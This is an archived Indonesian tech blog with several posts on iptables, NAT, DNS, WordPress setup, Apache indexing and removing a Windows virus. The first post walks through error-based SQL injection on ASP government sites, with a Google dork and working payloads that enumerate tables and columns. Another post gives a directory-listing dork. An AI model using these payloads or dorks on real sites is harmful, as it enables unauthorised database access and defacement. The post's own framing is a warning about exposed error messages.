Bodhon: Sampai Saya Yang Terbodoh itu Tahu.. Silakan Copy Paste (by bimosaurus)


Mengapa petunjuk Error justru berbahaya?
April 23, 2007, 8:12 am
Diarsipkan di bawah: Hacking and security

Dalam berbagai macam teknik hacking, ternyata sebagian besar justru memanfaatkan pesan kesalahan dari server sasaran. Maka bisa dipastikan bahwa Error justru merupakan petunjuk informasi yang penting bagi sebuah server untuk segera dilakukannya teknik hacking oleh para hacker. Jika para netter biasa, akan sangat kesal dengan adanya error, maka para hacker akan menyambut dengan sukacita errornya sistem tersebut.
Mungkin kita biasa sekali menemui halaman, the page cannot displayed, atau error database, atau seperti screenshoot di bawah ini:

The image “http://geocities.com/bimosaurus/errorasp.GIF” cannot be displayed, because it contains errors.

 

Gambar 1. Error ASP

Mungkin bagi sebagian orang tidak begitu mengerti apa arti error ini dan apa guna error tersebut.. Berikut cuplikan di bawah sangat penting menghindari error. Secara bodhon, error adalah petunjuk kesalahan.. Ya dengan petunjuk kesalahan yang terbaca publik, jelas memungkinkan orang lain mengambil keuntungan dengan error ini.
Seorang hacker newbie yang sedang mencoba-coba situs milik pemerintah dengan menggunakan situs google.com. Dia hanya menggunakan kata kunci sebagai berikut : .go.id .asp

The image “http://geocities.com/bimosaurus/googlegoid.GIF” cannot be displayed, because it contains errors.

 

Gambar 2. Browsing situs-situs ber ASP

Kemudian dari hasil pencarian dia, didapat beberapa hasil. Kemudian salah satu situs dia test lagi dengan menggunakan sintaks seperti ini

http://situskorban/index.asp?id=208089

dia ganti menjadi

http://situskorban/index.asp?id=’208089

Maka tampak error sebagai berikut

The image “http://geocities.com/bimosaurus/errorasp.GIF” cannot be displayed, because it contains errors.

 

Gambar 3. Error ASP

Selanjutnya dia melakukan test lanjut dengan melakukan convert type data string ke dalam integer, dimana data tersebut tidak bisa di konvert. Yaitu kata kata “test”.

http://situskorban/index.asp?id=’208089′%20and%201=convert(int,(‘test’));–

Tampak pada error adalah gambar berikut

The image “http://geocities.com/bimosaurus/erroraspp.GIF” cannot be displayed, because it contains errors.

 

Gambar 4. Error ASP

Dengan modal error itu dia melanjutkan kembali injectnya. Kali ini dia meng-convert string nama-nama tabel dan kolom yang ada pada database ke dalam integer (yang pasti error), dan kemudian melakukan akses ke dalam rekord database.

http://situskorban/index.asp?id=’208089′%20and%201=convert(int,(select%20top%201%20table_name%20from%20information_schema.tables));–

Haslinya adalah error berikut

The image “http://geocities.com/bimosaurus/errorasppp.GIF” cannot be displayed, because it contains errors.

 

Gambar 5. Error ASP

ya saat ini dia bisa mengerti ada satu tabel bernama tabel : index

Kemudian dia lanjut lagi sampai beberapa nama tabel lagi, singkatnya seperti ini, dengan nama nama tabel : index, entry, sysconstraints. Dia terus mencari informasi sedalam-dalamnya dari database tersebut dengan bermodal ERROR.

http://situskorban/index.asp?id=’208089′%20and%201=convert(int,(select%20top%201%20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in(‘index’,'entry’,’sysconstraints’)));–

.
.
.
.

Selanjutnya dia mencoba melakukan akses ke kolom, dalam tabel index.

http://situskorban/index.asp?id=’208089′%20and%201=convert(int,(select%20top%201%20column_name%20from%20information_schema.columns%20where%20table_name=(‘index’)));–

http://situskorban/index.asp?id=’208089′%20and%201=convert(int,(select%20top%201%20column_name%20from%20information_schema.columns%20where%20table_name=(‘index’)%20and%20column_name%20not%20in(‘id’)));–

hasilnya adalah

The image “http://geocities.com/bimosaurus/erroraspppp.GIF” cannot be displayed, because it contains errors.

 

Gambar 6. Error Asp

Cukup sampai disitu? Ya tentang cerita ini bisa berhenti disitu. Tetapi yang jelas kita tahu, dia bisa saja melakukan perintah update database. Atau bahkan mencari kolom user yang kemudian dia mengganti kekuasaan / kemapuan upload script-script kiddies, yang berfungsi untuk melakukan eksploitasi lanjut ke dalam server. Bisa juga dia akhirnya membuka service untuk servis remote desktop connection. Ya modal utama dia adalah ERROR.

The image “http://geocities.com/bimosaurus/errorasppppp.GIF” cannot be displayed, because it contains errors.Gambar 7. Error ASP

Satu lagi, ternyata, WIndows, ASP dan sql server adalah team bagus dan empuk sebagai sasaran deface..



Traffic Shaping dengan IPTABLES (postingan lama di MP)
April 20, 2007, 12:55 am
Diarsipkan di bawah: Linux, Networking

Para pelaku bisnis jaringan, atau pengelola jaringan instansi dan institusi banyak sekali mencari program-program yang digunakan untuk melakukan traffic shapping atau bandwidth manager. Pada linux yang paling familiar adalah dengan menggunakan htb atau cbq. Sedangkan di BSD biasanya menggunakan ip dummynet dengan perintah-perintah ipfw

Nah bagi yang nggak mau berpusing-pusing dengan htb atau cbq maka ada suatu solusi yang lumayan ringkas dan cukup akurat.. Asal tahu aja kalau htb dan cbq yang selama ini saya pake ternyata memiliki kekurangan. Mereka tidak tahan dengan beban tinggi. Nah, ternyata linux juga memiliki solusi dengan menggunakan tools jaringan bawaannya yang bernama iptables. Iptables ini sudah biasa digunakan mengelola jaringan, mengarahkan route, memblokir, meneruskan, memberrikan aturan antrian dll. Lho terus gimana dong memberikan aturan traffic shapping dalam Linux?

Begini:

Komponen rule utama dalam iptables yang perlu dipakai adalah:

iptables blablablabla –source/–destination -m limit –limit xx/s –limit-burst xx -J ACCEPT

tapi dengan catatan bahwa secara policy, targetnya adalah DROP

Contoh:

Misalnya saya punya jaringan dengan kondisi seperti ini

Saluran masuk dari internet melalui
eth0
, kemudian traffic internet tersebut dibagi ke
eth1, dengan net address 192.168.10.0/24
eth2, dengan net address 192.168.100.0/24
Kemudian pada net address yang pertama tersebut ada beberapa sub blok yaitu
- marketing
- hosting
- administrator
- technical support
- management

maka
contohnya:

iptables -P FORWARD -j DROP
iptables -A FORWARD -d 192.168.10.0/24 -m limit –limit 100/s –limit-burst 20 -j ACCEPT
iptables -A FORWARD -s 192.168.10.0/24 -m limit –limit 100/s –limit-burst 20 -j ACCEPT
;semua traffic masuk dan keluar dari 192.168.10.0/24 dibatasi maksimal sejumlah 100kbps



Trik Installasi Web dinamis CMS
April 19, 2007, 3:03 am
Diarsipkan di bawah: WebResources

Banyak mungkin diantara teman teman yang memiliki kesulitan melakukan installasi web ke dalam webserver, baik menggunakan server sendiri ataupun secara hosting dengan menggunakan cPannel. Apalagi jaman sekarang, banyak web web cms yang bertebaran secara bebas. Contoh saja misal : WordPress, Mambo, Joomla, Forum, dan lain sebagainya. Tak jarang web resource ini dipakai juga sebagai web sebuah instansi besar. Nah, triknya apa sih?

Sebenarnya secara BODHON yang paling penting dalam memahami installasi web adalah :

1. Aplikasi
2. Database
3. Bentuk akses kita ke webserver (Konsol, browser, shell, atau cPannel)
4. Bagaimana aplikasi web bisa melakukan akses ke database

Itu saja.

Disini saya ambil contoh adalah installasi WordPress. Resource nya dapat diambil di sini http://wordpress.org/download/. Ada dalam bentuk zip atau tar.gz. Sama saja.

Kita sebaiknya melakukan extracting di server, atau web servernya untuk menghindari corrupt file ketika upload folder.

Langkahnya lengkapnya adalah sebagai berikut :

  1. Donlod dulu WP (wordpress) anda..
  2. Siapkan server anda. (yang Linux, login dulu, WIndows juga siapkan webservernya, CPannel juga siapkan cPanelnya)
  3. Buatlah database dengan nama yang anda inginkan misal: WPku, dengan User:Userku, Password: Passwordku, Host:localhost. Untuk yang pake konsol
    mysql>mysql -u root -p
    mysql>create database WPku
    mysql>grant all privileges on WPku.* to Userku@localhost identified by ‘Passwordku’;
    mysql>flush privileges;Untuk pemakai cPanel bukalah Mysql Handler anda, tinggal buat database, user, dan password.
  4. Kopilah file wp-config-sample.php menjadi wp-config.php, Kemudian editlah dengan menggunakan editor teks seperti notepad, vi, mcedit dan lain lainnya. Sesuaikan nama database dengan database yang telah kita buat. Simpan
  5. Zip lagi dan Upload. Proses edit bisa dilakukan juga di server. Cpanel juga support kok dengan extract dan edit..

The image “http://geocities.com/bimosaurus/cpannel.GIF” cannot be displayed, because it contains errors.

    Semua cms hampir sama caranya.. Nah selamat mencoba dan selamat publish diri di internet..
    Setelah ter upload, selanjutnya bukalah web kita dengan menggunakan web browser. Nah, nantinya akan ada proses installasi management web lebih lanjut melalui web browser. INGAT!! Jika anda lakukan di internet, harap dilakukan secepatnya proses installasi di web browser tersebut. Karena saya pernah ada kejadian, saya secara iseng dapat link dan termuat halaman proses installasi web server WordPress milik http://jaf.suarane.com. Yang akhirnya ternyata menimbulkan sedikit konflik antara pak Jaf dengan pihak web hosting. Proses installasi diakhiri dengan penghapusan / rename file di ../../wordpress/wp-admin/install.php untuk menghindari file ini terakses oleh orang lain. Proses installasi baru, akan menghapus/menimpa database yang lama dengan database yang baru

    Silakan di copy paste postingan ini. jangan lupa untuk memberi masukan pada saya kali aja ada yang terlompati atau kliru.. Bisa juga anda request sesuatu ke email saya di sindoro@gmail.com.



    Masquerading vs Internet Connection Sharing (gateway)
    April 19, 2007, 1:11 am
    Diarsipkan di bawah: Linux, Networking

    Banyak diantara teman-teman admin yang memiliki masalah dengan membagi jaringan internet ke jaringan lokal dari komputer Gateway/Router. Nah berikut tipsnya:

    Untuk linux, sangat gampang..

    1. Lihat dulu interface jaringan yang ada pada komputer gateway. Biasanya lebih dari satu.
    2. Tentukan interface mana yang menghadap ke internet/sisi publik..
    3. Tambahkan command iptables ini pada firewall

    iptables -t nat -I POSTROUTING -o namadevice -j MASQUREADE

    contoh

    iptables -t nat -I POSTROUTING -o eth0 -j MASQUERADE

    Dengan perintah ini juga kita juga bisa melakukan IP Forwarding terhadap IP – IP tertentu , mana yang boleh masuk ke internet, mana yang tidak boleh. Misalnya:

    iptables -t nat -I POSTROUTING -s 192.168.2.0/24 -j MASQUERADE. Dengan catatan perintah yang diatas tadi tidak dijalankan

    PRoses forward ip bisa juga dilakukan dengan cara
    selalu

    tambahkan dalam file /etc/rc.local anda seperti ini

    echo “1″ > /proc/sys/net/ipv4/ip_forward

    nilai ini selalu akan berganti menjadi 0 jika komputer di reboot/dimatikan.

    Untuk Windows, buka dulu Network Connectionnya dari Start Setting ..
    Carilah interface yang berhubungan dengan internet. Misalnya adalah Network Connection1, Klik kanan, Propoerties dan carilah Advanced

    The image “http://geocities.com/bimosaurus/ics.JPG” cannot be displayed, because it contains errors.

    Check, centanglah tanda Allow network User bla bla bla. Maka interface yang satunya akan segera membuat IP address baru 192.168.0.1 yang kita nanti juga bisa menggantinya.
    Nah.. gampang khan?



    Klinik Virus – Virus Vindika Anastasya
    April 17, 2007, 3:55 am
    Diarsipkan di bawah: Windows TroubleShooting

    Suatu pagi, sedang enak-enak sarapan kopi, tiba-tiba komputer saya menampilkan suatu dokumen aneh.. Dan saya langsung membaca serta merunut kejadian aneh beberapa saat lalu. Ya saya telah melakukan kesalahan besar. Suatu ketika memang saya membuka komputer saya dengan menggunakan Windows Explorer dengan sharing yang full yaitu C$. Hasilnya… Windows saya yang gak pernah ada antivirusnya karena yakin gak ada virusnya, jadi kemasukan virus. Nah entah kapan mungkin, ada seorang yang menjalankan file sepintas berbentuk ZIP tetapi bertipe application alias executable file.
    Ya.. Innalillahi… Kena lah windows jelek itu oleh serangan virus.. Gejalanya, My Computer saya berubahnama dengan Vindika Anastasya, dan semua properties Document dll berubah nama dengan Sherry blablabla, Misal : Sherry’s Documents dll

    The image “http://www.geocities.com/bimosaurus/virus.JPG” cannot be displayed, because it contains errors.

    Namun saya yakin.. seorang pembuat virus terutama orang indonesia PASTI lah orang yang baru pengin dianggap pintar.. Kesimpulannya PASTI dia tidak pintar. Kalau tidak pintar, PASTI mudah ditangani virusnya…

    Ya.. dalam sekejap langsung ketahuan..
    Dia memang menutup semua servis RUN, FIND, CPL, REGEDIT, TASKMANAGER. Tapi kita bisa buka langsung tanpa tools dari luar sekalipun. (Oh ya buat pembuat virusnya, virus akan ketahuan dari servis yang ditutup. Itulah kebodohan anda).
    Untuk satu keadaan ini, mudah sekali membongkar.. Pembuat virusnya yang masih bodoh, masih membuka celah MS-DOS Promptnya.. Dengan Sangat Mudah sekali kita bisa menghancurkan Service Virus selanjutnya membongkar virusnya

    Tips untuk ini:

    Buka lah Start => Program => Accecories => MS-DOS PROMPT

    ketik :

    reg /delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v disableregistrytools

    The image “http://www.geocities.com/bimosaurus/reg-delete.GIF” cannot be displayed, because it contains errors.

    Nah setelah itu, panggillah regedit anda dengan mencari di direktori Windows.

    Oke Kebuka khan regeditnya?… Sekarang, Pergilah ke Kunci berikut di Regedit
    HKey_Current_User\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

    gantilah value untuk string berikut :
    NoRun dari 1 menjadi 0
    NoFind dari 1 menjadi 0
    NoTaskManager dari 1 menjadi 0
    Semua yang ber No No selain NoDriveTypeAutoRun ganti jadi 0

    Nah sekarang carilah kunci ini

    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\

    Carilah kunci yang anda curigai sebagai virus, di hilangkan saja..

    Kemudian pergilah ke WIndows Explorer, dan carilah direktori Windows, System32
    panggillah taskman.exe.

    Nah sekarang matikanlah service aneh aneh yang bernama mencurigakan. SElanjutnya bunuhlah proses yang bernama explorer, maka semua task bar akan hilang.
    Klik lah File Run =

    ketiklah explorer

    nah sekarang lihat ke start menu

    Klik Start Run

    ketiklah MSCONFIG enter

    hilangkan centang pada SVCHOST .. itu adalah file virus yang meniru nama file di windows. Selanjutnya anda dapat mengganti nama Drive C, MyComputer, My Documents. Anda juga bisa mengganti semua string Vindika Anastasya dan Sherry di dalam regedit.. Oke?



    Memahami Kerja DNS dan setting DNS
    April 12, 2007, 6:06 am
    Diarsipkan di bawah: Networking

    Apa itu DNS:
    DNS singkatan dari Domain Name System, DNS secara bodhon merupakan suatu tools dalam jaringan yang digunakan untuk menterjemahkan dari nama domain ke ip address.

    Mengapa ada DNS?
    Komputer pada dasarnya tidak bisa membaca domain (nama komputer) dalam bahasa manusia seperti yahoo.com, google.com dll. Sedangkan yang di baca oleh komputer adalah bahasa mesin, yang berupa digital atau angka (202.162.135.135, 222.124.24.91). Untuk itu perlu pemetaan antara bahasa yang digunakan manusia ke bahasa mesin.

    Bagaimana mekanismenya?
    Mekanismenya adalah, ketika komputer kita (selaku DNS Client) memanggil sebuah host lain (misal http://yahoo.com) maka komputer kita akan segera menanyakan ke Server DNS yang telah kita pasang di konfigurasi jaringan kita. Jika server DNS kita tahu (ada catatan tentang domain tertentu) maka kita akan segera dipanggilkan dengan nomer IP yang bersangkutan. Jika server DNS kita tidak tahu, maka server DNS kita akan menanyakan pada server DNS yang lebih atas lagi dan seterusnya. Jika tidak diketemukan, maka dinyatakan bahwa host tidak diketemukan.

    Bagaimana setting DNS Client?
    Di Windows tinggal klik
    Start
    Setting
    Network Connection

    The image “http://geocities.com/bimosaurus/dns1.jpg” cannot be displayed, because it contains errors.

    Gambar 1. Langkah 1

     

    . Akan muncul gambar seperti berikut

    The image “http://geocities.com/bimosaurus/dns2.jpg” cannot be displayed, because it contains errors.

    Gambar 2. Langkah 2

     

    Kemudian pada Icon Network Connectionnya di klik kanan Pilih Properties Seperti di dalam gambar yang di tampilkan dibawah

    The image “http://geocities.com/bimosaurus/dns3.jpg” cannot be displayed, because it contains errors.

    Gambar 3. Langkah 3

    The image “http://geocities.com/bimosaurus/dns4.jpg” cannot be displayed, because it contains errors.

    Gambar 4. Network Properties

     

    The image “http://geocities.com/bimosaurus/dns5.jpg” cannot be displayed, because it contains errors.

    Gambar 5. Network Configuration

    Set lah DNS pada server DNS yang ada dalam jaringan anda, jika tak tahu, tanya ke administrator

    Di Linux, sangat gampang
    Cari tahu dulu nomer IP Address DNS Server, kemudian bukalah file /etc/resolv.conf dengan mcedit atau vi ataupun editor teks lainnya

    mcedit /etc/resolv.conf

    The image “http://www.geocities.com/bimosaurus/dns6.jpg” cannot be displayed, because it contains errors.

    Gambar 6. Konfigurasi DNS Client di Linux

    Masukkanlah teks : nameserver no_IP_server_dns
    seperti pada gambar

    nah artinya, Semua kebutuhan nama suatu situs, akan direkuestkan ke ip tersebut. Jika komputer dengan no IP tersebut gak tahu, akan dilanjutkan ke atasnya dan seterusnya.

    Nah sekarang bagaimana kalau Setting DNS SERVER?
    Wehehe ini yang lumayan rumit

    Namun yang paling penting kita harus memahami KOMPONEN DNS. Apa aja sih komponen DNS itu?

    1. Resolver
    2. Resolution
    3. Caching

    Resolver adalah ialah bagian aplikasi client yang mengakses name server. Resolver ada di CLIENT seperti yang kita set tadi. Semua aplikasi yang mengakses DNS memerlukan ini

    Resolution. Sebuah server DNS, dalam menjawab permintaan nameserver, akan mencarikan nameserver yang terletak di server atasnya. Proses ini dinamakan dengan name resolution.

    Caching. Selain resolution, dalam menjawab sebuah permintaan nameserver, maka Server akan mengakses databasenya didalam cache nya untuk mencari domain yang dimaksud. Namun karena kapasitas cache terbatas, maka perlu di batasi dengan menentukan Time To Live (TTL).

    BIND

    Bind merupakan software implemetasi DNS paling banyak digunakan dalam sebagai server DNS. BIND merupakan singkatan dari Berkeley Internet Name Domain. BIND versi terbaru dapat diambil di http://isc.org. Ketika dilakukan installasi BIND, maka BIND akan melakukan installasi menjadi tiga bagian

    1. /etc/resolv.conf
    2. /etc/named.conf
    3. DNS resource record yang terdiri dari :
    /var/named/root.cache
    /var/named/named.local
    /var/named/ut.zone
    /var/named/ut.rev
    DNS resource record adalah file database yang dibutuhkan oleh nameserver sebagai sumber data dalam prosesnya. File-file inilah yang kemudian akan dimodifikasi.

    Dalam file tersebut, urutan penataannya adalah sebagai berikut:

    SOA RECORD

    NS RECORD

    Other REcord seperti :
    - A : Pemetaan dari Nama ke IP
    - PTR :P emetaan dari IP ke Nama
    - CNAME : Canonical Name (Alias)
    To be Continued



    Bagaimana membuat Komputer ber IP Local bisa publish di Internet? (Linux)
    April 12, 2007, 4:02 am
    Diarsipkan di bawah: Linux, Networking

    Kadang-kadang kita memiliki sebuah webserver yang berada di IP Local seperti gambar di bawah ini. Sedangkan hanya gateway memiliki IP Public yang bisa dilihat dari sisi internet. So? Permasalahannya, bagaimana kita bisa mempublishkan web yang ada di webserver dan bisa di akses dari sisi internet??

    The image “http://geocities.com/bimosaurus/redirecting.jpg” cannot be displayed, because it contains errors.

    Gambar 1. Contoh denah jaringan

     

    Ya, ternyata kita bisa membuat keadaan dimana komputer yang tidak memiliki IP Publik tersebut, bisa di akses dari sisi internet dengan memanfaatkan hak yang diberikan oleh komputer yang memiliki IP Publik.

    Bagaimana caranya?

    Solusinya adalah dengan NAT (Network Address Translation) yaitu mentranslasikan suatu IP Address ke sisi jaringan yang lain. Pada sistem Operasi Linux kita dapat melakukannya secara standard dengan menggunakan tools iptables. iptables sebagai tools pengatur trafik jaringan memiliki kemampuan untuk melakukan hal tersebut. iptables dijalankan dari sisi server akan meneruskan traffik yang merekues dari sisi publik/internet diteruskan ke sisi lokal.

    Sehingga sintaksnya akan menjadi seperti demikian

    iptables -t nat -I PREROUTING -p tcp -s IP_Publik_Yang_Merekuest –dport Port_Tujuan -j DNAT –to-destination IP_Lokal_tujuan:Port_aplikasinya

    Penjelasan

    -t nat = table nat pada iptables
    -I PREROUTING = Insert pada chain Prerouting
    -p tcp = protokol tcp
    -s = Source/sumber Ip address yang merekues. Kalau semua diijinkan = 0/0
    –dport = port tujuan yang diminta dari sisi publik
    -j DNAT = Target Destination NAT
    –to-destination = ke tujuan ip lokal yang diinginkan

    Misal kita memiliki ip publik202.130.202.111 dan webserver ada pada sisi lokal 192.168.0.250 maka kita bisa melakukan seperti ini

     

    iptables – t nat -I PREROUTING -p tcp -s 0/0 –dport 80 -j DNAT –to-destination 192.168.0.250:80

     

    Atau jika port 80 telah digunakan oleh server itu sendiri, kitabisa memanfaatkan port yang kosong dari sisi server tersebut misal

    iptables – t nat -I PREROUTING -p tcp -s 0/0 –dport 88 -j DNAT –to-destination 192.168.0.250:80

    Namun, proses pemanggilan dalam browser harus lengkap menggunakan port

    http://202.130.202.111:88

    Ya, langkah ini juga bisa di balik apabila seorang administrator jaringan ingin merouting jaringan, agar rekuest ke port tertentu, dapat dialihkan ke route lain, namun logika dibalik dan port destination di belakang di hilangkan. Contoh:

    iptables -t nat -I PREROUTING -p tcp -s 192.168.0.0/24 –dport 80 -j DNAT –to-destination 202.130.202.111

    Langkah ini juga bisa di gunakan untuk protokol lain juga selain web seperti ssh, remote server dal protokol lainnya.

    Semoga membantu.. Ada masalah? Silakan post reply …



    Apache:Mengapa halaman web tanpa index.html keluar daftar filenya?
    April 10, 2007, 11:47 am
    Diarsipkan di bawah: System Configuration

    Suatu ketika seorang teman menanyakan, Eh kok halaman kita yang tanpa index.html bisa keliatan isinya? Itu khan tidak secure?

    Nah, mungkin contoh halamannya adalah seperti ini

    http://geocities.com/bimosaurus/bim2.jpg

    Gambar 1. Halaman web yang ter auto Indexes oleh webserver 

    Atau mungkin teman teman ingin cari contoh lain? Carilah di GOOGLE dengan kata kunci demikian:

    intitle:index.of mp3bryan adams”

    Ini contoh aja lho :D bukan ngajarin mbajak.. Tentang lebih lanjut googling bisa dilihat disini klik disini . (Kayaknya cara ini bisa menjadikan kita jadi raja googling)

    Kembali ke halaman web.

    Mengapa halaman web bisa muncul seperti itu? Penyebabnya adalah di konfigurasi webservernya. Yaitu sebuah file bernama httpd.conf . File ini ada di direktori apache anda, pada subdirektori conf

    Anda bisa membuka file ini dengan menggunakan Teks editor, seperti VI, PICO, NANO,EE atau MCEDIT. Kalo windows ya pake aja notepad atau wordpad. Carilah Opsi direktori yang menghandle webserver yang kelihatan tersebut. Seperti demikian:

    ========================================

    <Directory>

    Options Indexes AllowOveride Symlinks …….dst

    </Directory>

    ========================================

    Hanya dengan menghilangkan Indexes nya maka fungsi auto index dari webserver akan hilang. Nah mungkin anda bisa melakukan itu, setelah itu jangan lupa restart apache nya. Namun perlu diketahui bahwa kita harus melakukan penghilangan autoindex tersebut secara tepat, yaitu pada direktori yang kita kehendaki saja. Jika diletakkan pada Direktori Umum, maka semua web yang ada di server tersebut tidak bisa di akses auto indexnya.

    Semoga membantu



    IPTABLES
    April 10, 2007, 11:04 am
    Diarsipkan di bawah: Networking

    IPTABLES

    - Apa itu iptables?

    iptables adalah suatu tools dalam sistem operasi linux yang berfungsi sebagai alat untuk melakukan filter (penyaringan) terhadap (trafic) lalulintas data. Secara sederhana digambarkan sebagai pengatur lalulintas data. Dengan iptables inilah kita akan mengatur semua lalulintas dalam komputer kita, baik yang masuk ke komputer, keluar dari komputer, ataupun traffic yang sekedar melewati komputer kita.

    - Gimana perintahnya?

    iptables [–t tables] [option] [rule] [target]

    Contohnya:

    iptables –P FORWARD ACCEPT

    - Apa saja yang bisa dilakukan dengan iptables?

    Dengan kemampuan tools iptables ini, kita bisa melakukan banyak hal dengan iptables. Yang paling penting adalah bahwa dengan iptables ini kita bisa membuat aturan (rule), untuk arus lalulintas data. Aturan aturan itu dapat mencakup banyak hal, seperti besar data yang boleh lewat, jenis paket/datagram yang dapat diterima, mengatur trafic berdasar asal dan tujuan data, forwarding, nat, redirecting, pengelolaan port, dan firewall.

    - Bagaimana gambaran lalulintas dalam sistem jaringan.

    Lalu lintas dalam sistem jaringan digambarkan sebagai berikut

    http://geocities.com/bimosaurus/bim.jpg

    Gambar 1. Lalu lintas data dalam sistem

    Keterangan:
    1. Data masuk ke dalam sistem komputer bisa melalui banyak jalan, biasanya melalui network interface. Bisa berupa card dan dapat pula berupa wifi lan atau yang lain. Setelah masuk sistem, maka data tersebut akan segera masuk ke dalam decission maker, yang menentukan bahwa data itu akan di proses ke dalam komputer (input) atau akan di lewatkan (forward).
    2. Setelah data masuk jika data tersebut mendapatkan rantai FORWARD maka akan segera masuk dalam aturan dalam rule FORWARD tersebut.
    3. Jika data masuk ke dalam rantai input, maka data akan mengalami rule

    Perlakuan apa saja yang dialami data oleh iptables?

    Perlakuan yang dialami oleh data/paket data oleh iptables digambarkan melalui tabel. Macam tabelnya adalah:
    1. Filter : tabel default yang ada dalam penggunaan iptables
    2. NAT : tabel ini digunakan untuk fungsi NAT, redirect, redirect port
    3. Mangle : tabel ini berfungsi sebagai penghalus proses pengaturan paket

    Bagaimana kita bisa peroleh informasi tentang iptables tersebut di dalam sistem operasi linux?

    Kita bisa peroleh info tentang iptables, dengan cara mengetikkan:

    man iptables
    atau
    iptables –help

    Perintah man adalah untuk mendapatkan manual penggunaaan dari iptables ini. Sedangkan help adalah untuk mendapatkan informasi help dari iptables tersebut.

    - OPTION
    Option terdiri dari command, dan parameter serta opsi tambahan

    COMMAND
    Command dan rule yang dipasang pada iptables (firewall) memiliki ketentuan. Pada dasarnya iptables pada komputer dianggap sebagai TABEL IP sesuai dengan namanya. System hanya akan menjalan rule yang ada pada tabel. Sedangkan rule yang sudah ada pada iptables juga dapat di hapus atau di replace dengan rule lain. Berikut beberapa command untuk penambahan, penghapusan dan operasi sejenisnya yang akan diperlakukan terhadap rule.

    Daftar  Perintah berikut keterangan

    -A atau –append Melakukan penambahan rule
    -D atau –delete Melakukan penghapusan rule
    -R atau –replace Melakukan replacing rule
    -L atau –list Menampilkan ke display, daftar iptables
    -F atau –flush Menghapus daftar iptables/pengosongan
    -I atau –insert Melakukan penyisipan rule
    -N atau –new-chain Melakukan penambahan chain baru
    -X atau –delete-chain Melakukan penghapusan chain
    -P atau –policy Memberikan rule standard
    -E atau –rename Memberikan penggantian nama
    -h atau –help Menampilkan fasilitas help

    Table 1. Table Command iptables

     

     

    Parameter
    Parameter iptables digunakan sebagai pelengkap yang diperlukan untuk tujuan spesifikasi rule tersebut

    Parameter berikut Keterangan
    -p, –protocol (proto) Parameter ini untuk menentukan perlakuan terhadap protokol
    -s, –source (address) –-src Parameter untuk menentukan asal paket
    -d, –destination (address) –-dst Parameter untuk menentukan tujuan paket
    -j, –jump (target)
    -g, –goto (chain)
    -i, –in-interface Masuk melalui interface (eth0, eth1 dst)
    -o, –out-interface
    [!] -f, –fragment
    -c, –set-counters

    Table 2. Tabel Parameter iptables

     

     

     

    Parameter berikut Keterangan
    –sport
    –source-port Menentukan port asal
    –dport
    –destination-port Menentukan port tujuan
    –tcp-flags Menentukan perlakuan datagram
    –syn
    Table 3. Tabel Parameter detail

    Selanjutnya apa itu yang disebut dengan chain?
    Chain/rantai digambarkan sebagai jalur aliran data. Chains yang diperlukan untuk iptables ini antara lain:

    Chain berikut Keterangan
    FORWARD Route packet akan di FORWARD tanpa di proses lanjut di local
    INPUT Route packet masuk ke dalam proses lokal sistem
    OUTPUT Route packet keluar dari local sistem
    PREROUTING Chain yang digunakan untuk keperluan perlakuan sebelum packet masuk route. Biasanya dipakai untuk proses NAT
    POSTROUTING Chain yang digunakan untuk keperluan perlakuan sesudah packet masuk route. Biasanya dipakai untuk proses NAT

    Tabel 4. Tabel Chain

     

     

     

     

    Chain PREROUTING dan POSTROUTING dimaksudkan sebagai jalur data sebelum dan sesudah data tersebut masuk ke dalam route.
    PREROUTING: data sebelum masuk jalur route, akan di kenakan rule
    POSTROUTING: data sebelum masuk akan dikenakan route

    Apakah target itu?
    Target adalah tujuan perlakuan terhadap rule. Pada target ini terletak keputusan, paket data mau diapakan, apakah mau di tolak, atau diteruskan atau diolah terlebih dahulu. Berikut daftar table target iptables

    Target berikut Keterangan
    ACCEPT Rantai paket tersebut diterima dalam rule
    DROP Rantai paket tersebut “dijatuhkan”
    REJECT Rantai paket tersebut ditolak seperti DROP
    DNAT Rantai paket di “destination nat” kan ke address lain
    SNAT Rantai paket di arahkan ke source nat tertentu
    REDIRECT Rantai paket di redirect ke suatu addres dan port tertentu
    MASQUERADE Bekerja seperti SNAT tapi tidak memerlukan source
    REJECT Bekerja seperti DROP

    Contoh beberapa kasus untuk iptables

    Misalkan terdapat sebuah jaringan komputer menggunakan koneksi internet dengan IP ADDRESS publik
    222.124.132.91 (eth0)
    Server gateway memiliki 3 anak jaringan (jaringan lokal) dengan dibedakan subnet

    192.168.0.0/24 (eth1)
    192.168.1.0/24 (eth2)
    192.168.10.0/24 (eth3)

    Kondisi dalam jaringan, eth3 tidak diperbolehkan melakukan akses ke internet tetapi diperbolehkan masuk ke jaringan lokal lainnya melalui protokol http. Sedangkan eth1 dan eth2 diperbolehkan melakukan akses ke internet. Pada IP ADDRESS 192.168.1.10 terdapat webserver, dan pada IP Address 192.168.1.12 terdapat koleksi intranet yang akan dipublish ke internet. Disamping itu, koneksi internet 1 mega tersebut akan di share, untuk semua komputer di eth2 akan dibatasi pemakaiannya maksimal 10kbps. Berikut contoh sederhana routin firewallnya

    #/bin/bash

    #blok semua address (default), pada dasarnya semua akses di blok
    iptables –P INPUT –j DROP
    #bersihkan table
    iptables –F
    iptables –t nat –F
    iptables –t mangle -F
    #perkecualian dengan syarat tertentu
    iptables -A INPUT -d 192.168.1.0/24 -m limit –limit 10/s –limit-burst 20 -j ACCEPT
    iptables -A INPUT -s 192.168.1.0/24 -m limit –limit 10/s –limit-burst 20 -j ACCEPT
    iptables –t nat –A POSTROUTING –s 192.168.0.0/24 –j MASQUERADE
    iptables –t nat –A POSTROUTING –s 192.168.1.0/24 –j MASQUERADE
    #forward webserver dan intranet
    iptables -t nat -A PREROUTING -i eth0 -p tcp –dport 80 -j DNAT –to 192.168.0.10:80
    iptables -t nat -A PREROUTING -i eth0 -p tcp –dport 88 -j DNAT –to 192.168.0.12:80
    #redirect ke squid
    iptables –t nat –A PREROUTING –s 192.168.10.0/24 -p tcp –dport 80 -j REDIRECT –to-port 3128
    iptables –t nat –A PREROUTING –s 192.168.10.1/24 -p tcp –dport 80 -j REDIRECT –to-port 3128
    =========================================================================================

    Semoga bermanfaat



    Berubah pikiran ke Linux (sebuah Prolog)
    April 10, 2007, 4:19 am
    Diarsipkan di bawah: Linux

    xterm display
    Shell Linux

     

